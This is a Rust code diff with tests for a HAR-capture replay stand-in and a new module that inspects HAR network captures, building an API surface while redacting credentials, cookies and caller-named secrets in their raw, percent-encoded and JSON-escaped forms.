{"request":{"method":"GET","url":"https://x.test/b"},"response":{"status":200,"content":{"encoding":"base64","text":"@@not base64@@"}}} + ]}}"#; + let s = build_from_bytes(odd, &BuildOptions::default()).unwrap(); + assert_eq!(templates(&s), ["GET /b", "GET /n"], "{s:?}"); + assert_eq!(s.routes[0].samples[0].body_left_out, Some(BodyLeftOut::Undecodable)); + let n = &s.routes[1].samples[0]; + assert!(n.headers.is_empty(), "no header that could start a new line: {:?}", n.headers); + assert_eq!(n.body_left_out, Some(BodyLeftOut::NotRecorded)); +} + +#[test] +fn caps_hold_on_huge_inputs() { + let opts = BuildOptions { max_entries: 50, max_routes: 10, max_samples_per_route: 3, max_body_bytes: 64, max_total_body_bytes: 200, ..Default::default() }; + let mut entries: Vec = (0..30).map(|i| entry("GET", &format!("{A}/same/{i}"), 200, &format!("{{\"i\":{i}}}"))).collect(); + entries.extend((0..40).map(|i| entry("GET", &format!("{A}/r{i}x"), 200, "{}"))); + let s = build_from_bytes(&har_of(entries), &opts).unwrap(); + assert!(s.source.cut_short); + assert_eq!((s.source.entries_read, s.source.entries_declared), (50, 70)); + assert_eq!(s.routes.len(), 10); + assert_eq!(s.skipped.beyond_route_limit, 11); + let same = s.routes.iter().find(|r| r.template == "/same/{id}").unwrap(); + assert_eq!((same.requests, same.samples.len(), same.samples_left_out), (30, 3, 27)); + + let big = "x".repeat(65); + let s = build_from_bytes(&har_of(vec![entry("GET", &format!("{A}/big"), 200, &big)]), &opts).unwrap(); + assert_eq!(s.routes[0].samples[0].body_left_out, Some(BodyLeftOut::TooLarge)); + assert!(s.routes[0].samples[0].text.is_none(), "never half a body"); + + let files: Vec = (0..5).map(|i| entry("GET", &format!("{A}/f{i}y"), 200, &"y".repeat(60))).collect(); + let s = build_from_bytes(&har_of(files), &opts).unwrap(); + let kept: usize = s.routes.iter().flat_map(|r| &r.samples).filter_map(|x| x.text.as_ref()).map(String::len).sum(); + assert!(kept <= 200, "{kept}"); + assert_eq!(s.routes.iter().flat_map(|r| &r.samples).filter(|x| x.body_left_out == Some(BodyLeftOut::FileLimit)).count(), 2); +} + +#[test] +fn hostile_paths_and_queries_are_bounded() { + let deep = format!("{A}/{}", "a/".repeat(20_000)); + let wide: String = (0..5_000).map(|i| format!("k{i}=v&")).collect(); + let s = built(vec![ + entry("GET", &deep, 200, "{}"), + entry("GET", &format!("{A}/q?{wide}"), 200, "{}"), + entry("GET", &format!("{A}/{}", "é/".repeat(50)), 200, "{}"), + ]); + assert_eq!(s.routes.len(), 3); + let wide_route = s.routes.iter().find(|r| r.template == "/q").unwrap(); + assert!(wide_route.query_names.len() <= MAX_LISTED); + let mut t = Turns::default(); + for (path, query) in [(deep.trim_start_matches(A), ""), ("/", ""), ("", ""), ("//", "&&&==&"), ("/é", "é=é")] { + let _ = get(&s, &mut t, path, query); + } + let _ = answer(&s, &mut t, "", "/", "", &[0xff; 64]); +} + +#[test] +fn deeply_nested_json_is_kept_or_refused_without_a_crash() { + let deep = format!("{}1{}", "[".repeat(100_000), "]".repeat(100_000)); + let s = built(vec![entry("GET", &format!("{A}/deep"), 200, &deep)]); + assert_eq!(s.routes.len(), 1); + assert!(request_key(deep.as_bytes()).is_none()); +} + +// ---- answering ---- + +#[test] +fn the_best_match_wins_in_order() { + let s = built(vec![ + entry("GET", &format!("{A}/items/1"), 200, r#"{"from":"path-no-query"}"#), + entry("GET", &format!("{A}/items/1?a=1&b=2"), 200, r#"{"from":"path-and-query"}"#), + entry("GET", &format!("{A}/items/2"), 200, r#"{"from":"other-item"}"#), + ]); + let mut t = Turns::default(); + let f = found(get(&s, &mut t, "/items/1", "b=2&a=1")); + assert_eq!(f.how, MatchKind::PathAndQuery, "the order of a query doesn't matter"); + assert!(body(&f).contains("path-and-query")); + let f = found(get(&s, &mut t, "/items/2", "z=9")); + assert_eq!(f.how, MatchKind::Path); + assert!(body(&f).contains("other-item")); + let f = found(get(&s, &mut Turns::default(), "/items/999", "")); + assert_eq!(f.how, MatchKind::Template); + assert!(body(&f).contains("path-no-query"), "the first recorded answer"); + assert_eq!(f.route, "GET /items/{id}"); +} + +#[test] +fn repeated_requests_cycle_through_recorded_answers_in_order() { + let s = built(vec![ + entry("GET", &format!("{A}/poll"), 200, r#"{"n":1}"#), + entry("GET", &format!("{A}/poll"), 200, r#"{"n":2}"#), + entry("GET", &format!("{A}/poll"), 503, r#"{"n":3}"#), + ]); + let mut t = Turns::default(); + let seen: Vec<(u16, String, usize, usize)> = (0..7) + .map(|_| { + let f = found(get(&s, &mut t, "/poll", "")); + (f.status, body(&f), f.turn, f.of) + }) + .collect(); + assert_eq!(seen[0], (200, r#"{"n":1}"#.to_string(), 1, 3)); + assert_eq!(seen[1], (200, r#"{"n":2}"#.to_string(), 2, 3)); + assert_eq!(seen[2], (503, r#"{"n":3}"#.to_string(), 3, 3)); + assert_eq!(seen[3], seen[0], "and round again"); + assert_eq!(seen[6], seen[0]); + // Each caller's turns are its own, and a different request doesn't move them. + assert_eq!(found(get(&s, &mut Turns::default(), "/poll", "")).turn, 1); +} + +#[test] +fn identical_answers_in_a_row_collapse_into_one() { + let s = built(vec![ + entry("GET", &format!("{A}/same"), 200, "{}"), + entry("GET", &format!("{A}/same"), 200, "{}"), + entry("GET", &format!("{A}/same"), 200, r#"{"a":1}"#), + ]); + assert_eq!(s.routes[0].requests, 3); + assert_eq!(s.routes[0].samples.len(), 2); +} + +#[test] +fn turns_do_not_grow_with_requests() { + let s = built(vec![entry("GET", &format!("{A}/users/1"), 200, "{}"), entry("GET", &format!("{A}/users/2"), 200, "{}")]); + let mut t = Turns::default(); + for i in 0..2_000 { + let _ = get(&s, &mut t, &format!("/users/{i}"), &format!("x={i}")); + let _ = get(&s, &mut t, &format!("/nothing/{i}"), ""); + } + assert!(t.0.len() <= 3, "{}", t.0.len()); +} + +#[test] +fn writes_replay_and_do_not_change_later_reads() { + let s = built(vec![ + entry("GET", &format!("{A}/notes"), 200, r#"{"notes":[]}"#), + entry("POST", &format!("{A}/notes"), 201, r#"{"id":7}"#), + entry("DELETE", &format!("{A}/notes/7"), 204, ""), + ]); + let before = s.clone(); + let mut t = Turns::default(); + let created = found(answer(&s, &mut t, "POST", "/notes", "", br#"{"text":"anything"}"#)); + assert_eq!((created.status, body(&created).as_str()), (201, r#"{"id":7}"#)); + assert_eq!(found(answer(&s, &mut t, "DELETE", "/notes/99", "", b"")).status, 204); + assert_eq!(body(&found(get(&s, &mut t, "/notes", ""))), r#"{"notes":[]}"#, "the read still says what was recorded"); + assert_eq!(s, before); +} + +#[test] +fn head_is_answered_as_get_and_methods_do_not_cross() { + let s = built(vec![entry("GET", &format!("{A}/a"), 200, r#"{"x":1}"#)]); + let mut t = Turns::default(); + assert_eq!(found(answer(&s, &mut t, "head", "/a", "", b"")).status, 200); + let n = missing(answer(&s, &mut t, "POST", "/a", "", b"")); + assert_eq!(n.reason, NoMatchReason::MethodNotRecorded); + assert_eq!(n.nearest[0], NearbyRoute { method: "GET".into(), template: "/a".into() }); +} + +#[test] +fn graphql_operations_are_told_apart_at_one_url() { + let post = |op: &str, resp: &str| { + let mut e = entry("POST", &format!("{A}/graphql"), 200, resp); + e["request"]["postData"] = json!({"mimeType": "application/json", "text": json!({"operationName": op, "query": format!("query {op} {{ a }}"), "variables": {"secret": "variable-fake"}}).to_string()}); + e + }; + let s = built(vec![post("GetUser", r#"{"data":{"user":1}}"#), post("GetFeed", r#"{"data":{"feed":2}}"#)]); + assert!(!serde_json::to_string(&s).unwrap().contains("variable-fake"), "request bodies aren't kept"); + let ask = |t: &mut Turns, op: &str| answer(&s, t, "POST", "/graphql", "", json!({"operationName": op}).to_string().as_bytes()); + let mut t = Turns::default(); + for _ in 0..3 { + assert!(body(&found(ask(&mut t, "GetFeed"))).contains("feed")); + assert!(body(&found(ask(&mut t, "GetUser"))).contains("user")); + } + // Another operation's data would be the wrong answer, not a close one. + let n = missing(ask(&mut t, "SaveUser")); + assert_eq!(n.reason, NoMatchReason::OperationNotRecorded); + assert_eq!(n.nearest[0].template, "/graphql"); + // A body that names no operation takes what there is. + assert_eq!(found(answer(&s, &mut t, "POST", "/graphql", "", b"not json")).of, 2); +} + +#[test] +fn json_bodies_prefer_the_same_names_but_accept_others() { + let post = |body: &str, resp: &str| { + let mut e = entry("POST", &format!("{A}/search"), 200, resp); + e["request"]["postData"] = json!({"text": body}); + e + }; + let s = built(vec![post(r#"{"q":"a"}"#, r#"{"by":"q"}"#), post(r#"{"tag":"b"}"#, r#"{"by":"tag"}"#)]); + let mut t = Turns::default(); + assert!(body(&found(answer(&s, &mut t, "POST", "/search", "", br#"{"tag":"other"}"#))).contains("tag")); + assert_eq!(found(answer(&s, &mut t, "POST", "/search", "", br#"{"new":1}"#)).of, 2); +} + +#[test] +fn no_match_names_the_nearest_routes() { + let s = built(vec![ + entry("GET", &format!("{A}/api/users/1"), 200, "{}"), + entry("GET", &format!("{A}/api/users/1/posts"), 200, "{}"), + entry("POST", &format!("{A}/api/users"), 201, "{}"), + entry("GET", &format!("{A}/health"), 200, "{}"), + ]); + let mut t = Turns::default(); + let n = missing(get(&s, &mut t, "/api/users/1/comments", "")); + assert_eq!(n.reason, NoMatchReason::PathNotRecorded); + assert_eq!(n.nearest[0], NearbyRoute { method: "GET".into(), template: "/api/users/{id}/posts".into() }); + assert!(n.nearest.len() <= MAX_NEAREST); + assert_eq!(n.nearest.last().unwrap().template, "/health"); + assert_eq!(missing(get(&StandIn::default(), &mut t, "/x", "")).nearest, []); +} + +#[test] +fn a_template_id_needs_something_there() { + let s = built(vec![entry("GET", &format!("{A}/users/1"), 200, "{}")]); + let mut t = Turns::default(); + assert!(matches!(get(&s, &mut t, "/users/", ""), Answer::NoMatch(_))); + assert!(matches!(get(&s, &mut t, "/users", ""), Answer::NoMatch(_))); + assert!(matches!(get(&s, &mut t, "/users/1/2", ""), Answer::NoMatch(_))); +} + +#[test] +fn a_304_with_its_cached_body_answers_as_200() { + let s = built(vec![entry("GET", &format!("{A}/c"), 304, r#"{"cached":true}"#), entry("GET", &format!("{A}/e"), 304, "")]); + let c = &s.routes[0].samples[0]; + assert_eq!((c.status, c.was_not_modified), (200, true)); + let e = &s.routes[1].samples[0]; + assert_eq!((e.status, e.was_not_modified), (304, false), "nothing to stand in for it"); +} + +#[test] +fn a_saved_stand_in_reads_back_the_same() { + let opts = BuildOptions { source_name: Some("site.har".into()), source_sha256: Some("abc".into()), ..Default::default() }; + let s = build_from_bytes(&secret_recording(), &opts).unwrap(); + let text = serde_json::to_string(&s).unwrap(); + let back: StandIn = serde_json::from_str(&text).unwrap(); + assert_eq!(back, s); + assert_eq!(back.version, STANDIN_VERSION); + assert_eq!(back.source.file_name.as_deref(), Some("site.har")); +} + +#[test] +fn a_hand_edited_file_cannot_crash_the_matcher() { + let v = json!({"version": 1, "routes": [ + {"method": "GET", "template": "/a", "samples": []}, + {"method": "GET", "template": "/b", "samples": [{"path": "/b", "status": 200, "base64": "@@@"}]}, + ]}); + let s: StandIn = serde_json::from_value(v).unwrap(); + let mut t = Turns::default(); + assert!(matches!(get(&s, &mut t, "/a", ""), Answer::NoMatch(_)), "a route with no samples has nothing to say"); + assert_eq!(found(get(&s, &mut t, "/b", "")).body, b""); +} diff --git a/desktop/crates/analysis/src/web_har.rs b/desktop/crates/analysis/src/web_har.rs new file mode 100644 index 0000000..7249be4 --- /dev/null +++ b/desktop/crates/analysis/src/web_har.rs @@ -0,0 +1,589 @@ +//! Historical network captures (HAR): requests, responses, timings, hosts and an API surface +//! grouped by path template, with privacy built in. +//! +//! What is never kept: cookie values, `Authorization`/`Proxy-Authorization`/API-key style header +//! values, URL user-info, credential-looking query values, and any body value — JSON bodies are +//! reduced to their outline (keys and types). Secrets the caller names are redacted wherever +//! they appear in kept text, in raw, percent-encoded and JSON-escaped spellings; a sensitive value +//! used as a JSON property name drops that property. + +use craft_anything_formats::har::{self, HarEntry}; +use craft_anything_formats::sourcemap::base64_decode; +use serde_json::{Map, Value, json}; +use std::collections::{BTreeMap, BTreeSet}; + +pub(crate) const CREDENTIAL_HEADERS: &[&str] = &[ + "authorization", + "proxy-authorization", + "cookie", + "set-cookie", + "x-api-key", + "api-key", + "x-auth-token", + "x-access-token", + "x-csrf-token", + "x-xsrf-token", + "x-amz-security-token", + "x-goog-api-key", + "x-session-id", +]; + +const CREDENTIAL_PARAMS: &[&str] = &[ + "token", + "access_token", + "id_token", + "refresh_token", + "auth", + "authorization", + "key", + "api_key", + "apikey", + "secret", + "client_secret", + "password", + "passwd", + "pwd", + "session", + "sessionid", + "sid", + "sig", + "signature", + "code", + "x-amz-signature", + "x-amz-credential", + "x-amz-security-token", +]; + +#[derive(Debug, Clone, Default)] +pub struct HarOptions { + pub hidden_values: Vec, + pub offset: usize, + pub limit: usize, + /// Only these entries (0-based), in full detail. + pub record_numbers: Option>, + pub max_entries: usize, +} + +pub(crate) struct Redactor { + /// Every spelling of every declared value, longest first. + pub(crate) needles: Vec, + log: Vec, +} + +fn percent_encode(s: &str) -> String { + let mut out = String::new(); + for b in s.bytes() { + if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'_' | b'.' | b'~') { + out.push(char::from(b)); + } else { + out.push_str(&format!("%{b:02X}")); + } + } + out +} + +impl Redactor { + pub(crate) fn new(values: &[String]) -> Self { + let mut needles: Vec = Vec::new(); + for v in values.iter().filter(|v| !v.is_empty()) { + let json_escaped = serde_json::to_string(v).ok().and_then(|q| q.get(1..q.len().saturating_sub(1)).map(String::from)).unwrap_or_default(); + for form in [v.clone(), percent_encode(v), percent_encode(v).to_ascii_lowercase(), json_escaped, v.replace(' ', "+")] { + if !form.is_empty() && !needles.contains(&form) { + needles.push(form); + } + } + } + needles.sort_by_key(|n| std::cmp::Reverse(n.len())); + Redactor { needles, log: Vec::new() } + } + + fn contains(&self, s: &str) -> bool { + self.needles.iter().any(|n| s.contains(n.as_str())) + } + + /// Replace declared values in kept text. + fn text(&mut self, pointer: &str, s: &str) -> String { + if !self.contains(s) { + return s.to_string(); + } + let mut out = s.to_string(); + for n in &self.needles { + out = out.replace(n.as_str(), "[redacted]"); + } + self.log.push(json!({"pointer": pointer, "reason": "secret-value"})); + out + } +} + +/// Split a URL, dropping user-info. Returns (scheme, host, path, query pairs, had_userinfo). +pub(crate) fn split_url(url: &str) -> (String, String, String, Vec<(String, String)>, bool) { + let (scheme, rest) = url.split_once("://").unwrap_or(("", url)); + let rest = rest.split('#').next().unwrap_or(rest); + let (authority, path_q) = match rest.find(['/', '?', '#']) { + Some(i) => (rest.get(..i).unwrap_or(""), rest.get(i..).unwrap_or("/")), + None => (rest, "/"), + }; + let (userinfo, host) = match authority.rsplit_once('@') { + Some((_, h)) => (true, h), + None => (false, authority), + }; + let (path, query) = path_q.split_once('?').unwrap_or((path_q, "")); + let pairs = query + .split('&') + .filter(|p| !p.is_empty()) + .take(200) + .map(|p| { + let (k, v) = p.split_once('=').unwrap_or((p, "")); + (k.to_string(), v.to_string()) + }) + .collect(); + (scheme.to_ascii_lowercase(), host.to_ascii_lowercase(), if path.is_empty() { "/".into() } else { path.to_string() }, pairs, userinfo) +} + +pub(crate) fn is_credential_param(k: &str) -> bool { + let l = k.to_ascii_lowercase(); + CREDENTIAL_PARAMS.contains(&l.as_str()) || l.ends_with("_token") || l.ends_with("token") || l.contains("password") || l.contains("secret") +} + +/// Rebuild a safe URL: no user-info, credential query values replaced. +fn safe_url(url: &str, pointer: &str, red: &mut Redactor) -> (String, Vec) { + let (scheme, host, path, pairs, userinfo) = split_url(url); + if userinfo { + red.log.push(json!({"pointer": pointer, "reason": "url-userinfo"})); + } + let mut q = Vec::new(); + let mut names = Vec::new(); + for (k, v) in pairs { + names.push(k.clone()); + if is_credential_param(&k) && !v.is_empty() { + red.log.push(json!({"pointer": pointer, "reason": "credential-parameter", "parameter": k})); + q.push(format!("{k}=[redacted]")); + } else { + q.push(if v.is_empty() { k } else { format!("{k}={v}") }); + } + } + let base = if scheme.is_empty() { format!("{host}{path}") } else { format!("{scheme}://{host}{path}") }; + let full = if q.is_empty() { base } else { format!("{base}?{}", q.join("&")) }; + (red.text(pointer, &full), names) +} + +/// Path template: numeric → {n}, uuid → {uuid}, long hex → {hex}, ISO date → {date}. +pub fn path_template(path: &str) -> String { + path.split('/') + .map(|seg| { + let s = seg; + if !s.is_empty() && s.bytes().all(|b| b.is_ascii_digit()) { + "{n}".to_string() + } else if is_uuid(s) { + "{uuid}".to_string() + } else if s.len() >= 32 && s.bytes().all(|b| b.is_ascii_hexdigit()) { + "{hex}".to_string() + } else if is_iso_date(s) { + "{date}".to_string() + } else { + s.to_string() + } + }) + .collect::>() + .join("/") +} + +pub(crate) fn is_uuid(s: &str) -> bool { + let parts: Vec<&str> = s.split('-').collect(); + parts.len() == 5 && parts.iter().zip([8, 4, 4, 4, 12]).all(|(p, n)| p.len() == n && p.bytes().all(|b| b.is_ascii_hexdigit())) +} + +fn is_iso_date(s: &str) -> bool { + let b = s.as_bytes(); + b.len() >= 10 + && b.get(4) == Some(&b'-') + && b.get(7) == Some(&b'-') + && b.iter().take(4).all(u8::is_ascii_digit) + && b.get(5..7).is_some_and(|m| m.iter().all(u8::is_ascii_digit)) +} + +/// The outline of a JSON value: types only, never values. +pub fn json_outline(v: &Value, depth: usize, red: &mut OutlineRedactions<'_>, pointer: &str) -> Value { + if depth > 8 { + return json!("…"); + } + match v { + Value::Null => json!("null"), + Value::Bool(_) => json!("boolean"), + Value::Number(n) => json!(if n.is_i64() || n.is_u64() { "integer" } else { "number" }), + Value::String(_) => json!("string"), + Value::Array(a) => { + let mut items: Option = None; + for (i, x) in a.iter().take(20).enumerate() { + let s = json_outline(x, depth + 1, red, &format!("{pointer}/{i}")); + items = Some(match items { + None => s, + Some(prev) => merge_outlines(prev, s), + }); + } + json!({"type": "array", "items": items.unwrap_or(json!("unknown")), "length": a.len()}) + } + Value::Object(o) => { + let mut props = Map::new(); + for (k, x) in o.iter().take(200) { + if red.names_hit(k) { + red.log.push(json!({"pointer": pointer, "reason": "secret-value", "scope": "property-name"})); + continue; + } + let child = format!("{pointer}/{}", k.replace('~', "~0").replace('/', "~1")); + props.insert(k.clone(), json_outline(x, depth + 1, red, &child)); + } + json!({"type": "object", "properties": props}) + } + } +} + +/// Redaction context for outlines (only property names can leak). +pub struct OutlineRedactions<'r> { + needles: &'r [String], + pub log: Vec, +} + +impl OutlineRedactions<'_> { + fn names_hit(&self, k: &str) -> bool { + self.needles.iter().any(|n| k.contains(n.as_str())) + } +} + +fn merge_outlines(a: Value, b: Value) -> Value { + if a == b { + return a; + } + match (a, b) { + (Value::Object(mut x), Value::Object(y)) if x.get("type") == Some(&json!("object")) && y.get("type") == Some(&json!("object")) => { + let mut props = x.remove("properties").and_then(|p| if let Value::Object(m) = p { Some(m) } else { None }).unwrap_or_default(); + if let Some(Value::Object(yp)) = y.get("properties") { + for (k, v) in yp { + let merged = match props.remove(k) { + Some(old) => merge_outlines(old, v.clone()), + None => v.clone(), + }; + props.insert(k.clone(), merged); + } + } + json!({"type": "object", "properties": props}) + } + (Value::Object(x), other) | (other, Value::Object(x)) if x.contains_key("one_of") => { + let mut list = x.get("one_of").and_then(Value::as_array).cloned().unwrap_or_default(); + if !list.contains(&other) && list.len() < 6 { + list.push(other); + } + json!({"one_of": list}) + } + (a, b) => json!({"one_of": [a, b]}), + } +} + +fn body_outline( + mime: Option<&str>, + text: Option<&str>, + encoding: Option<&str>, + params: &[(String, Option)], + red: &mut Redactor, + pointer: &str, +) -> Value { + let mime_l = mime.unwrap_or("").to_ascii_lowercase(); + let decoded: Option = match (text, encoding) { + (Some(t), Some("base64")) => base64_decode(t).map(|b| String::from_utf8_lossy(&b).into_owned()), + (Some(t), _) => Some(t.to_string()), + _ => None, + }; + let bytes = decoded.as_ref().map_or(0, String::len); + let json_like = mime_l.contains("json") || decoded.as_deref().is_some_and(|t| t.trim_start().starts_with('{') || t.trim_start().starts_with('[')); + if json_like && let Some(v) = decoded.as_deref().and_then(|t| serde_json::from_str::(t).ok()) { + let mut sr = OutlineRedactions { needles: &red.needles, log: Vec::new() }; + let outline = json_outline(&v, 0, &mut sr, pointer); + red.log.extend(sr.log); + return json!({"kind": "json", "bytes": bytes, "outline": outline}); + } + if mime_l.contains("x-www-form-urlencoded") { + let names: Vec = if params.is_empty() { + decoded.as_deref().unwrap_or("").split('&').filter_map(|p| p.split('=').next()).filter(|k| !k.is_empty()).map(String::from).take(200).collect() + } else { + params.iter().map(|(k, _)| k.clone()).take(200).collect() + }; + let names: Vec = names.into_iter().filter(|n| !red.contains(n)).collect(); + return json!({"kind": "form", "bytes": bytes, "fields": names}); + } + if mime_l.contains("multipart") { + return json!({"kind": "multipart", "bytes": bytes, "fields": params.iter().map(|(k, _)| k.clone()).filter(|n| !red.contains(n)).take(200).collect::>()}); + } + if decoded.is_none() { + return Value::Null; + } + json!({"kind": if mime_l.is_empty() { "unknown".to_string() } else { mime_l }, "bytes": bytes}) +} + +fn headers_view(h: &[(String, String)], pointer: &str, red: &mut Redactor) -> Vec { + h.iter() + .take(200) + .enumerate() + .map(|(i, (n, v))| { + let l = n.to_ascii_lowercase(); + let p = format!("{pointer}/{i}/value"); + if CREDENTIAL_HEADERS.contains(&l.as_str()) { + red.log.push(json!({"pointer": p, "reason": "auth-header"})); + json!({"name": n, "value": null, "redacted": "auth-header"}) + } else if matches!(l.as_str(), "referer" | "origin" | "location") { + let (u, _) = safe_url(v, &p, red); + json!({"name": n, "value": u}) + } else { + json!({"name": n, "value": red.text(&p, v)}) + } + }) + .collect() +} + +fn entry_view(e: &HarEntry, red: &mut Redactor) -> Value { + let base = format!("/log/entries/{}", e.ordinal); + let (url, query_names) = safe_url(&e.request.url, &format!("{base}/request/url"), red); + let (_, host, path, _, _) = split_url(&e.request.url); + let req_body = + e.request.post.as_ref().map(|p| body_outline(p.mime.as_deref(), p.text.as_deref(), None, &p.params, red, &format!("{base}/request/postData"))); + let res_body = + body_outline(e.response.mime.as_deref(), e.response.text.as_deref(), e.response.encoding.as_deref(), &[], red, &format!("{base}/response/content")); + let redirect = e.response.redirect_url.as_deref().map(|u| safe_url(u, &format!("{base}/response/redirectURL"), red).0); + if !e.request.cookie_names.is_empty() || !e.response.cookie_names.is_empty() { + red.log.push(json!({"pointer": format!("{base}/cookies"), "reason": "auth-header"})); + } + json!({ + "ordinal": e.ordinal, + "started": e.started, + "time_ms": e.time_ms, + "resource_type": e.resource_type, + "method": e.request.method, + "url": url, + "host": host, + "path_template": path_template(&path), + "query_parameters": query_names, + "http_version": e.request.http_version, + "status": e.response.status, + "status_text": e.response.status_text, + "request_headers": headers_view(&e.request.headers, &format!("{base}/request/headers"), red), + "response_headers": headers_view(&e.response.headers, &format!("{base}/response/headers"), red), + "request_cookie_names": e.request.cookie_names.iter().filter(|n| !red.contains(n)).collect::>(), + "response_cookie_names": e.response.cookie_names.iter().filter(|n| !red.contains(n)).collect::>(), + "request_body": req_body, + "response_body": res_body, + "response_mime": e.response.mime, + "response_bytes": e.response.content_size, + "redirect_url": redirect, + "timings": e.timings.iter().map(|(k, v)| (k.clone(), json!(v))).collect::>(), + }) +} + +/// Inspect a HAR capture. +pub fn inspect_har(bytes: &[u8], opts: &HarOptions) -> Result { + let har = har::parse(bytes, opts.max_entries.max(1)).map_err(|e| e.to_string())?; + let mut red = Redactor::new(&opts.hidden_values); + let mut methods: BTreeMap = BTreeMap::new(); + let mut statuses: BTreeMap = BTreeMap::new(); + let mut hosts: BTreeMap = BTreeMap::new(); + let mut mimes: BTreeMap = BTreeMap::new(); + let mut total_bytes: i64 = 0; + let mut first: Option = None; + let mut last: Option = None; + let mut slowest: Vec<(f64, usize)> = Vec::new(); + let mut surface: BTreeMap = BTreeMap::new(); + let mut views = Vec::new(); + for e in &har.entries { + let view = entry_view(e, &mut red); + *methods.entry(e.request.method.to_ascii_uppercase()).or_default() += 1; + *statuses.entry(format!("{}xx", e.response.status / 100)).or_default() += 1; + let host = view["host"].as_str().unwrap_or("").to_string(); + *hosts.entry(red.text("/hosts", &host)).or_default() += 1; + let mime = e.response.mime.as_deref().unwrap_or("").split(';').next().unwrap_or("").trim().to_string(); + *mimes.entry(mime.clone()).or_default() += 1; + total_bytes = total_bytes.saturating_add(e.response.body_size.unwrap_or(0).max(e.response.content_size.unwrap_or(0)).max(0)); + if let Some(s) = &e.started { + if first.as_ref().is_none_or(|f| s < f) { + first = Some(s.clone()); + } + if last.as_ref().is_none_or(|l| s > l) { + last = Some(s.clone()); + } + } + if let Some(t) = e.time_ms { + slowest.push((t, e.ordinal)); + } + // API surface. + let (scheme, _, _, _, _) = split_url(&e.request.url); + let key = format!("{} {}://{}{}", e.request.method.to_ascii_uppercase(), scheme, host, view["path_template"].as_str().unwrap_or("")); + let key = red.text("/api_surface", &key); + let g = surface.entry(key.clone()).or_insert_with(|| json!({"operation": key, "count": 0, "statuses": [], "query_parameters": [], "request_outline": null, "response_outline": null, "response_mimes": []})); + if let Some(o) = g.as_object_mut() { + let c = o.get("count").and_then(Value::as_u64).unwrap_or(0) + 1; + o.insert("count".into(), json!(c)); + add_unique(o, "statuses", json!(e.response.status)); + for q in view["query_parameters"].as_array().into_iter().flatten() { + add_unique(o, "query_parameters", q.clone()); + } + add_unique(o, "response_mimes", json!(mime)); + for (field, src) in [("request_outline", &view["request_body"]), ("response_outline", &view["response_body"])] { + if let Some(outline) = src.get("outline") { + let merged = match o.get(field).cloned() { + Some(Value::Null) | None => outline.clone(), + Some(prev) => merge_outlines(prev, outline.clone()), + }; + o.insert(field.into(), merged); + } + } + } + views.push(view); + } + slowest.sort_by(|a, b| b.0.partial_cmp(&a.0).unwrap_or(std::cmp::Ordering::Equal)); + let slowest: Vec = slowest + .iter() + .take(5) + .filter_map(|(t, i)| views.get(*i).map(|v| json!({"ordinal": i, "time_ms": t, "method": v["method"], "url": v["url"]}))) + .collect(); + let selected: Vec = match &opts.record_numbers { + Some(ords) => views.iter().filter(|v| v["ordinal"].as_u64().is_some_and(|o| ords.contains(&(o as usize)))).cloned().collect(), + None => views.iter().skip(opts.offset).take(opts.limit.max(1)).cloned().collect(), + }; + let ops: Vec = surface.into_values().collect(); + let mut redactions = red.log; + redactions.truncate(5000); + Ok(json!({ + "format": "har", + "har_version": har.version, + "creator": har.creator, + "pages": har.pages, + "summary": { + "entries": har.entries.len(), + "declared_entries": har.declared_entries, + "methods": methods, "statuses": statuses, "hosts": hosts, "response_mimes": mimes, + "response_body_bytes": total_bytes, "first_request": first, "last_request": last, "slowest": slowest, + }, + "api_surface": ops, + "entries": selected, + "entries_total": views.len(), + "redactions": redactions, + "sensitive_value_declarations": opts.hidden_values.len(), + "truncated": har.truncated, + })) +} + +fn add_unique(o: &mut Map, key: &str, v: Value) { + if let Some(Value::Array(a)) = o.get_mut(key) + && !a.contains(&v) + && a.len() < 64 + { + a.push(v); + } +} + +/// Every set of distinct values seen for a key in a JSON tree — used by tests to prove nothing leaks. +pub fn all_strings(v: &Value, out: &mut BTreeSet) { + match v { + Value::String(s) => { + out.insert(s.clone()); + } + Value::Array(a) => a.iter().for_each(|x| all_strings(x, out)), + Value::Object(o) => o.iter().for_each(|(k, x)| { + out.insert(k.clone()); + all_strings(x, out); + }), + _ => {} + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn split_url_authority_cases() { + let mut failures = Vec::new(); + for (row, url, host, path, userinfo) in [ + ("at in path", "https://example.test/@profile", "example.test", "/@profile", false), + ("at in file name", "https://cdn.example.test/icon@2x.png", "cdn.example.test", "/icon@2x.png", false), + ("at in query", "https://example.test/?q=a@b", "example.test", "/", false), + ("at in fragment", "https://example.test/#a@b", "example.test", "/", false), + ("user-info and at in path", "https://user:pw@example.test/@x", "example.test", "/@x", true), + ("IPv6 and port", "https://[::1]:8080/@x", "[::1]:8080", "/@x", false), + ("query with slash, no path", "https://example.test?q=a/b@c", "example.test", "/", false), + ("port and at in path", "http://example.test:8080/a@b", "example.test:8080", "/a@b", false), + ("fragment, no path", "https://example.test#a@b", "example.test", "/", false), + ("user-info only", "https://user@example.test/p", "example.test", "/p", true), + ("plain", "https://example.test/path", "example.test", "/path", false), + ("percent-encoded at in user-info", "https://u%40x:pw@example.test/", "example.test", "/", true), + ("two at signs in user-info", "https://a@b@EXAMPLE.test/p", "example.test", "/p", true), + ] { + let (_, actual_host, actual_path, _, actual_userinfo) = split_url(url); + let actual = (actual_host.as_str(), actual_path.as_str(), actual_userinfo); + let expected = (host, path, userinfo); + if actual != expected { + failures.push(format!("{row}: expected {expected:?}, got {actual:?}")); + } + } + assert!(failures.is_empty(), "{}", failures.join("\n")); + } + + const HAR: &str = r#"{"log":{"version":"1.2","creator":{"name":"t","version":"1"},"entries":[ + {"startedDateTime":"2026-01-01T00:00:00Z","time":120, + "request":{"method":"GET","url":"https://bob:hunter2@api.example.test/v1/users/42?access_token=SECRET123&page=2","headers":[{"name":"Authorization","value":"Bearer SECRET123"},{"name":"Accept","value":"application/json"},{"name":"X-Trace","value":"trace-hunter2"}],"cookies":[{"name":"sid","value":"COOKIEVAL"}]}, + "response":{"status":200,"headers":[{"name":"Set-Cookie","value":"sid=COOKIEVAL"}],"content":{"size":40,"mimeType":"application/json","text":"{\"id\":42,\"name\":\"Ann\",\"tags\":[\"a\"],\"hunter2\":true}"}},"timings":{"wait":100}}, + {"startedDateTime":"2026-01-01T00:00:01Z","time":30, + "request":{"method":"GET","url":"https://api.example.test/v1/users/7","headers":[]}, + "response":{"status":404,"headers":[],"content":{"size":2,"mimeType":"application/json","text":"eyJlcnJvciI6Im5vIn0=","encoding":"base64"}},"timings":{}}, + 